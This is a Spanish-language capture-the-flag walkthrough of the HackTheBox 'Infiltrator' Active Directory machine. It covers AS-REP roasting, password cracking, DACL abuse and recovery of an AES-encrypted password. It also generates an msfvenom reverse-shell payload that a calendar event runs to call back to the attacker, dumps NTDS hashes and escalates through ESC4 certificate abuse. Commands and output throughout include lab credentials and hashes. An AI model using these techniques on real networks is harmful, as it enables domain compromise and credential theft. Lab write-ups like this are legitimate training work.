Infiltrator inicia con la enumeracion de usuarios y con la ejecucion de AS-REP Roasting para acceso inicial. Con la ejecucion de Bloodhound y analisis se realizo la explotacion de permisos en Active Directory a traves de diferentes usuarios. Se descubre Output Messenger en ejecucion donde se logro el acceso a varios usuarios, uno de estos tiene una sesion abierta, a traves de eventos de calendario se obtuvo acceso a un nuevo usuario. Un archivo backup contiene clave de recuperacion para Bitlocker, tras el uso de esta se encontro un backup de la base de datos NTDS. Esta ultima permitio el acceso a un usuario con el cual logramos escalar privilegios con la explotacion de ESC4.
# Nmap 7.95 scan initiated Wed May 21 01:58:39 2025 as: /usr/lib/nmap/nmap --privileged -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,15220,49668,49691,49692,49694,49727,49750,49867 -sV -sC -oN nmap_scan 10.10.11.31Nmap scan report for 10.10.11.31
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
53/tcp open domain (generic dns response: SERVFAIL)| fingerprint-strings:
| DNS-SD-TCP:
| _services
| _dns-sd
| _udp
|_ local80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Infiltrator.htb
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-20 23:26:58Z)135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)|_ssl-date: 2025-05-20T23:30:37+00:00; -6h31m27s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
|_ssl-date: 2025-05-20T23:30:38+00:00; -6h31m27s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)|_ssl-date: 2025-05-20T23:30:37+00:00; -6h31m27s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
|_ssl-date: 2025-05-20T23:30:38+00:00; -6h31m27s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-05-20T23:30:38+00:00; -6h31m27s from scanner time.
| ssl-cert: Subject: commonName=dc01.infiltrator.htb
| Not valid before: 2025-05-19T18:00:34
|_Not valid after: 2025-11-18T18:00:34
| rdp-ntlm-info:
| Target_Name: INFILTRATOR
| NetBIOS_Domain_Name: INFILTRATOR
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: infiltrator.htb
| DNS_Computer_Name: dc01.infiltrator.htb
| DNS_Tree_Name: infiltrator.htb
| Product_Version: 10.0.17763
|_ System_Time: 2025-05-20T23:29:52+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
15220/tcp open unknown
49668/tcp open msrpc Microsoft Windows RPC
49691/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
49727/tcp open msrpc Microsoft Windows RPC
49750/tcp open msrpc Microsoft Windows RPC
49867/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=5/21%Time=682D6BA6%P=x86_64-pc-linux-gnu%r(DNS-
SF:SD-TCP,30,"\0\.\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04
SF:_udp\x05local\0\0\x0c\0\x01");Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -6h31m28s, deviation: 2s, median: -6h31m27s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-05-20T23:29:52
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 21 02:02:07 2025 -- 1 IP address (1 host up) scanned in 208.11 seconds
Agregamos a nuestro archivo /etc/hosts los valores infiltrator.htbdc01.infiltrator.htb.
Services Access - Null Sesion
Sesiones nulas en el servicio smb, ldap y rpc no son aceptadas.
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ netexec smb 10.10.11.31 -u '' -p '' --shares
SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01)(domain:infiltrator.htb)(signing:True)(SMBv1:False)SMB 10.10.11.31 445 DC01 [+] infiltrator.htb\:SMB 10.10.11.31 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED
❯ netexec ldap 10.10.11.31 -u '' -p ''SMB 10.10.11.31 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01)(domain:infiltrator.htb)(signing:True)(SMBv1:False)LDAP 10.10.11.31 389 DC01 [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090C77, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
LDAP 10.10.11.31 389 DC01 [+] infiltrator.htb\:❯ rpcclient -N -U "" 10.10.11.31
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $> exit❯
Web Site
Los headers del sitio muestra un Microsoft-IIS 10.
1
2
3
4
5
6
7
8
9
10
11
❯ curl -sI 10.10.11.31
HTTP/1.1 200 OK
Content-Length: 31235Content-Type: text/html
Last-Modified: Mon, 19 Feb 2024 00:41:24 GMT
Accept-Ranges: bytes
ETag: "361ade5dcc62da1:0"Server: Microsoft-IIS/10.0
Date: Tue, 20 May 2025 23:35:54 GMT
❯
El sitio presenta una tematica de Marketing ademas parece ser estatico, no muestra algun tipo de funcionalidad.
Se presenta al equipo de la empresa, ocho miembros en total.
Directory Brute Forcing
feroxbuster unicamente muestra recursos estaticos del sitio.
Ejecutamos GetNPUsers especificando el wordlist de nombres de usuarios validos, se muestra el hash de l.clark.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ sudo ntpdate 10.10.11.31
[sudo] password for kali:
2025-05-20 19:58:58.198331 (-0400) -23317.293199 +/- 0.121479 10.10.11.31 s1 no-leap
CLOCK: time stepped by -23317.293199
❯ impacket-GetNPUsers -no-pass -usersfile valid_users.txt -outputfile files/hashes.txt infiltrator.htb/ 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] User d.anderson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User o.martinez doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User k.turner doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a.walker doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User m.harris doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User e.rodriguez doesn't have UF_DONT_REQUIRE_PREAUTH set$krb5asrep$23$l.clark@INFILTRATOR.HTB:64a110ab8cfc4db2161991f6c200245d$f2fad0f2055354064bd4a185800c33f5cbc3146134f84a0613eba0a78b73bc42edd2173905d682bb847cbf93d55d7d4e5100f7ceb4ca287d3bcdfe51abba3f29879e8bcb03bee0cc3edf716ecdca0156aaf02ad9e38664d8770bec7d6f236f0f6741b1a69d3e697190fad0bfd8d50c3a25869618509efec44f4031f5107efffdc92ca0dc5a171ab5c8ca8eae3bbe8ce64a6979a74feab6e477c632d6eed274d42a930684a9ddb9d581ffce8b9b2a67af8ef6d3477e315439e036a6429e56105c4d7fa27a1a21ef03ed45ce19c9da2649b6bde968a7cf25f2c86f771c5d3b927aac37bef4646f730af64442118bbe15da0e91❯
Cracking the Hash
Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash, se muestra la contrasena en texto plano.
1
2
3
4
5
6
7
8
9
10
❯ john files/hashes.txt --wordlist=$ROCKUsing default input encoding: UTF-8
Loaded 1 password hash(krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 512/512 AVX512BW 16x])Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
WAT?watismypass! ($krb5asrep$23$l.clark@INFILTRATOR.HTB)1g 0:00:00:06 DONE (2025-05-20 20:02) 0.1438g/s 1511Kp/s 1511Kc/s 1511KC/s WEQ6897..WASHIDA
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
❯
Services Access
Las credenciales tienen acceso a los servicios smb, ldap y rdp.
❯ ~/htb/tools/bloodhound-ce/bloodhound.py -u l.clark -p 'WAT?watismypass!' -ns 10.10.11.31 -d infiltrator.htb -c All --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: infiltrator.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.infiltrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.infiltrator.htb
INFO: Found 14 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.infiltrator.htb
INFO: Done in 00M 50S
INFO: Compressing output into 20250520200947_bloodhound.zip
❯
Creamos un wordlist basado en la lista de usuarios de bloodhound para usarlos posteriormente.
En total encontramos once usuarios que pertenece a Domain Users.
l.clark
l.clark unicamente muestra el grupo marketing_team como el mas destacado.
Otro miembro de este grupo es D.anderson.
D.anderson
D.anderson pertence al grupo Protected Users, por lo que al tener de tener acceso a este usuario seria unicamente por Kerberos.
Tiene permisos GenericAll sobre el OU Marketing Digital y este ultimo contiene al usuario E.rodriguez por lo que seria posible acceder a este.
E.rodriguez
E.rodriguez puede agregarse a si mismo al grupo Chiefs Marketing con ello realizar el cambio de contrasena de M.Harris.
M.Harris
M.harris pertence al grupo Developers. Tambien se muestra Protected Users y Remote Management Users, estos dos ultimos indican acceso por WinRM mediante Kerberos.
winrm_svc
El usuario winrm_svc es otro de los miembros de Remote Management Users por lo que tiene acceso a WinRM.
O.martinez & A.walker
O.martinez pertenece al grupo de Remote Desktop Users lo que le permite acceder por RDP.
Tambien al grupo Chiefs Marketing que permite realizar el cambio de contrasena a M.harris.
Al igual que o.martinez, A.walker puede realizar el cambio de contrasena.
lan_managment
lan_managment puede realizar la lectura de contrasena GMSA de infiltrator_svc$.
User - D.anderson
Password Spraying
Ejecutamos netexec con la lista de usuarios y la unica contrasena conocida, encontramos que D.anderson comparte la contrasena con l.clark.
Para abusar de GenericAll sobre Marketing Digital iniciamos solicitando un ticket con getTGT.
1
2
3
4
5
6
❯ getTGT.py -dc-ip 10.10.11.31 infiltrator.htb/d.anderson:'WAT?watismypass!'Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in d.anderson.ccache
❯ exportKRB5CCNAME='d.anderson.ccache'❯
Ejecutamos dacledit para darle FullControl a d.anderson sobre OU Marketing Digital.
1
2
3
4
5
6
7
❯ impacket-dacledit -dc-ip 10.10.11.31 -k -no-pass -action write -rights FullControl -inheritance -principal d.anderson -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' infiltrator.htb/d.anderson
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20250520-222910.bak
[*] DACL modified successfully!
❯
Change Password - E.rodriguez
El OU contiene a E.Rodriguez por lo que es posible realizar el cambio de contrasena. Realizamos el cambio con bloodyAD especificando autenticacion kerberos.
Tras realizar la instalacion del cliente ejecutamos la aplicacion en nuestro Kali. Anteriormente encontramos lo que parece ser una contrasena para K.turner en la descripcion del usuario, utilizamos estas credenciales y especificamos el servidor local.
1
K.turner : MessengerApp@Pass!
General Chat
Encontramos en el Chat General un mensaje indicando el uso de la version en Windows.
Dev_Chat
En el chat Dev_chat se habla sobre una aplicacion que permita obtener informacion por LDAP bajo el nombre UserExplorer.exe. Se indica que M.harris ya implemento una funcion de desencriptado en AES, ademas su uso es a traves de una terminal, se menciona una de las opciones como -default.
La aplicacion no se encuentra en algun directorio que M.harris tenga acceso.
La version de linux se muestra con muchos “glitches” y bugs al intentar cargar otros chats o funcionalidades de la aplicacion por lo que pasamos a la version de Windows.
Output Wall
La opcion de Output Wall realiza una solicitud hacia el puerto 14126, puerto que no especificamos en chisel.
Obtuvimos el puerto con chisel, sin embargo, tras cargar nuevamente, el contenido no se mostraba por lo que abrimos Wireshark para observar las solicitudes HTTP, encontramos que, realiza una solicitud al puerto 14126 indicando un token en la url. Se muestra una respuesta pero la aplicacion parece no manejarla correctamente.
Replicamos la solicitud en firefox y observamos contenido que no se muestra en la aplicacion.
Se muestra un comentario de K.Turner donde se indica y muestra una demo de la aplicacion se especifica credenciales de M.harris.
De manera manual tomamos los usuarios existentes en el chat General e intentamos autenticarnos con cada uno, realizando combinaciones user:user y user:pass, incluimos contrasenas ya conocidas, encontramos pares de credenciales aceptadas.
En el caso de estos dos ultimos no se muestra algun log de chat interesante. En el caso de E.rodriguez es posible utilizar la contrasena que anteriormente se cambio con d.anderson.
User - WinRM
Application Analysis
La ejecucion necesita conexion con el servidor.
1
2
3
4
5
6
7
PS C:\Users\sckull\AppData\Roaming\Output Messenger\EAAA\Received Files\202402> .\UserExplorer.exe -u m.harris -p D3v3l0p3r_Pass@1337! -s M.harris
Attempting Service Connection...
Service Connection Successful.
Search for M.harris user...
An error occurred: El servidor no es funcional.
PS C:\Users\sckull\AppData\Roaming\Output Messenger\EAAA\Received Files\202402>
Decompile - ILSpy
Ejecutamos ILSpy y cargamos el ejecutable. Encontramos que existe la clase Decryptor que utiliza AES.
usingSystem.Security.Cryptography;usingSystem.Text;classProgram{publicstaticstringDecryptString(stringkey,stringcipherText){usingAesaes=Aes.Create();aes.Key=Encoding.UTF8.GetBytes(key);aes.IV=newbyte[16];ICryptoTransformtransform=aes.CreateDecryptor(aes.Key,aes.IV);usingMemoryStreamstream=newMemoryStream(Convert.FromBase64String(cipherText));usingCryptoStreamstream2=newCryptoStream(stream,transform,CryptoStreamMode.Read);usingStreamReaderstreamReader=newStreamReader(stream2);returnstreamReader.ReadToEnd();}staticvoidMain(string[]args){stringpass=DecryptString("b14ca5898a4e4133bbce2ea2315a1916","TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=");Console.WriteLine("The password is: "+pass);Console.WriteLine("Press ENTER to exit...");Console.ReadLine();}}
Intentamos utilizar el valor retornado como contrasena pero parece no ser valida.
Encontramos que el cifrado es doble, por lo que ejecutamos nuevamente el codigo.
1
2
3
4
5
6
7
8
staticvoidMain(string[]args){stringpass=DecryptString("b14ca5898a4e4133bbce2ea2315a1916","TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=");pass=DecryptString("b14ca5898a4e4133bbce2ea2315a1916",pass);Console.WriteLine("The password is: "+pass);Console.WriteLine("Press ENTER to exit...");Console.ReadLine();}
Esta vez parece mas una contrasena sin el cifrado.
Confirmamos que es funcional con el usuario winrm_svc.
La contrasena es funcional en Messenger Output y encontramos una API KEY en las notas de la aplicacion compartida por Admin.
1
lan_managment api key 558R501T5I6024Y8JV3B7KOUN1A518GG
Intentamos interactuar con la API siguiendo la documentacion pero parece ser que es una KEY con limitaciones por lo que no permite ir mas alla de listar usuarios, chats y grupos.
1
2
3
4
5
❯ curl -s -X PUT http://localhost:14125/api/users/D.anderson -d "username=D.anderson&displayname=D.anderson&group=Administration&email=lucy@xcompany.com&phone=04562272323&previous_password=D.anderson&password=D.anderson" -H "API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG"| jq
{"Message": "No permissoin to access."}❯
User - O.Martinez
Tras verificar el calendario de O.Martinez en la aplicacion de Mensajes encontramos que existen dos eventos por dia que se repiten a la misma hora, se indica Open Website.
Modificamos uno de estos eventos a una hora mas cercana y realizamos la Sincronizacion.
Al llegar la hora se abrio el navegador con la url especificada.
Dentro de la informacion de O.martinez encontramos que existe una sesion abierta dentro de la maquina. Si la sincronizacion del calendario tambien pasa en la otra sesion es probable que el sitio web tambien se abra de ese lado.
Vemos que al crear un Evento se indican las Actions, entre ellas Run application.
Run application
Agregamos un nuevo evento agregando calc.exe como ejecucion.
Tras cumplirse la hora, la ejecucion fue exitosa localmente, por lo que es posible ejecutar cualquier aplicacion dada su direccion.
Generamos un payload utilizando msfvenom con una shell inversa.
1
2
3
4
5
6
7
8
❯ msfvenom -p windows/x64/shell/reverse_tcp LHOST=tun0 LPORT=1338 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe
❯
Ejecutamos metasploit especificando los valores necesarios para la escucha de nuestro payload.
1
2
3
4
5
6
7
8
9
10
11
12
❯ msfconsole -q
[*] Starting persistent handler(s)...
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/shell/reverse_tcp
payload=> windows/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost=> tun0
msf6 exploit(multi/handler) > set lport 1338lport=> 1338msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.58:1338
Creamos un directorio temporal donde subimos nuestro payload dandole permisos de acceso para todos. Se agrego el ejecutable localmente tambien asicomo el directorio (Windows VM).
❯ 7z x BitLocker-backup.7z
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 5484 bytes (6 KiB)Extracting archive: BitLocker-backup.7z
ERROR: BitLocker-backup.7z
BitLocker-backup.7z
Open ERROR: Cannot open the file as [7z] archive
ERRORS:
Is not archive
Can't open as archive: 1Files: 0Size: 0Compressed: 0❯
❯ 7z x 'BitLocker-backup(1).7z'7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 209327 bytes (205 KiB)Extracting archive: BitLocker-backup(1).7z
--
Path= BitLocker-backup(1).7z
Type= 7z
Physical Size=209327Headers Size=271Method= LZMA2:20 7zAES
Solid= -
Blocks=1Enter password (will not be echoed):
Cracking the Hash
Ejecutamos 7z2john para obtener el hash que con john junto con el wordlist rockyou.txt ejecutamos sobre el archivo de hash, se muestra la contrasena.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ 7z2john 'BitLocker-backup(1).7z' > 7zhash
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
❯ john 7zhash --wordlist=$ROCKUsing default input encoding: UTF-8
Loaded 1 password hash(7z, 7-Zip archive encryption [SHA256 512/512 AVX512BW 16x AES])Cost 1(iteration count) is 524288for all loaded hashes
Cost 2(padding size) is 8for all loaded hashes
Cost 3(compression type) is 2for all loaded hashes
Cost 4(data length) is 209048for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
zipper (BitLocker-backup(1).7z)1g 0:00:00:51 DONE (2025-05-26 22:57) 0.01946g/s 108.3p/s 108.3c/s 108.3C/s cadillac..theboss
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
❯
BitLocker Backup
Tras descomprimir con la contrasena se muestra un archivo html.
❯ sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help"for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open NTDS.sqlite
sqlite> .tables
containers groups trusted_domains
domain_dns machine_accounts user_accounts
domains organizational_units
sqlite> select displayName, SPN, UPN, login, samaccountname, nthash, lmhash, ntPwdHistory, description from user_accounts;|||Administrator|Administrator|7bf62b9c45112ffdadb7b6b4b9299dd2|aad3b435b51404eeaad3b435b51404ee|[]|Built-in account for administering the computer/domain
|||Guest|Guest|31d6cfe0d16ae931b73c59d7e0c089c0|aad3b435b51404eeaad3b435b51404ee|[]|Built-in account for guest access to the computer/domain
|["kadmin/changepw"]||krbtgt|krbtgt|454fcbc37690c6e4628ab649e8e285a5|aad3b435b51404eeaad3b435b51404ee|["454fcbc37690c6e4628ab649e8e285a5"]|Key Distribution Center Service Account
||winrm_svc@infiltrator.htb|winrm_svc|winrm_svc|84287cd16341b91eb93a58456b73e30f|aad3b435b51404eeaad3b435b51404ee|["84287cd16341b91eb93a58456b73e30f"]|User Security and Management Specialist
||lan_managment@infiltrator.htb|lan_managment|lan_managment|e8ade553d9b0cb1769f429d897c92931|aad3b435b51404eeaad3b435b51404ee|["e8ade553d9b0cb1769f429d897c92931"]|l@n_M@an!1331
||harris@infiltrator.htb|harris|M.harris|fc236589c448c620417b15597a3d3ca7|aad3b435b51404eeaad3b435b51404ee|["fc236589c448c620417b15597a3d3ca7"]|Head of Development Department
||anderson@infiltrator.htb|anderson|D.anderson|627a2cb0adc7ba12ea11174941b3da88|aad3b435b51404eeaad3b435b51404ee|["627a2cb0adc7ba12ea11174941b3da88"]|||clark@infiltrator.htb|clark|L.clark|627a2cb0adc7ba12ea11174941b3da88|aad3b435b51404eeaad3b435b51404ee|["627a2cb0adc7ba12ea11174941b3da88"]|||martinez@infiltrator.htb|martinez|O.martinez|eb86d7bcb30c8eac1bdcae5061e2dff4|aad3b435b51404eeaad3b435b51404ee|["eb86d7bcb30c8eac1bdcae5061e2dff4"]|||walker@infiltrator.htb|walker|A.walker|46389d8dfdfcf0cbe262a71f576e574b|aad3b435b51404eeaad3b435b51404ee|["46389d8dfdfcf0cbe262a71f576e574b"]|||turner@infiltrator.htb|turner|K.turner|48bcd1cdc870c6285376a990c2604531|aad3b435b51404eeaad3b435b51404ee|["48bcd1cdc870c6285376a990c2604531"]|||rodriguez@infiltrator.htb|rodriguez|E.rodriguez|b1918c2ce6a62f4eee11c51b6e2e965a|aad3b435b51404eeaad3b435b51404ee|["b1918c2ce6a62f4eee11c51b6e2e965a"]|sqlite>
1
lan_managment : l@n_M@an!1331
Verificamos que el par de credenciales son aceptadas para este usuario.
lan_managment puede realizar la lectura de la contrasena GMSA de infiltrator_svc$, logramos esto con netexec con la opcion --gmsa, donde observamos el hash NTLM de este usuario.
Solicitamos un certificado especificando el upn de administrator con el SID.
1
2
3
4
5
6
7
8
9
10
11
❯ certipy req -u infiltrator_svc$ -hashes 663675deae5af90402f1d53c8117cdaa -dc-ip 10.10.11.31 -ns 10.10.11.31 -ca infiltrator-DC01-CA -target dc01.infiltrator.htb -template Infiltrator_Template -upn administrator@infiltrator.htb -sid S-1-5-21-2606098828-3734741516-3625406802-500
Certipy v5.0.2 - by Oliver Lyak (ly4k)[*] Requesting certificate via RPC
[*] Request ID is 9[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@infiltrator.htb'[*] Certificate object SID is 'S-1-5-21-2606098828-3734741516-3625406802-500'[*] Saving certificate and private key to 'administrator.pfx'[*] Wrote certificate and private key to 'administrator.pfx'❯
Realizamos la autenticacion con el certificado anterior logrando obtener el hash de Administrator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ certipy auth -pfx 'administrator.pfx' -dc-ip 10.10.11.31
Certipy v5.0.2 - by Oliver Lyak (ly4k)[*] Certificate identities:
[*] SAN UPN: 'administrator@infiltrator.htb'[*] SAN URL SID: 'S-1-5-21-2606098828-3734741516-3625406802-500'[*] Security Extension SID: 'S-1-5-21-2606098828-3734741516-3625406802-500'[*] Using principal: 'administrator@infiltrator.htb'[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'[*] Wrote credential cache to 'administrator.ccache'[*] Trying to retrieve NT hashfor'administrator'[*] Got hashfor'administrator@infiltrator.htb': aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1
❯
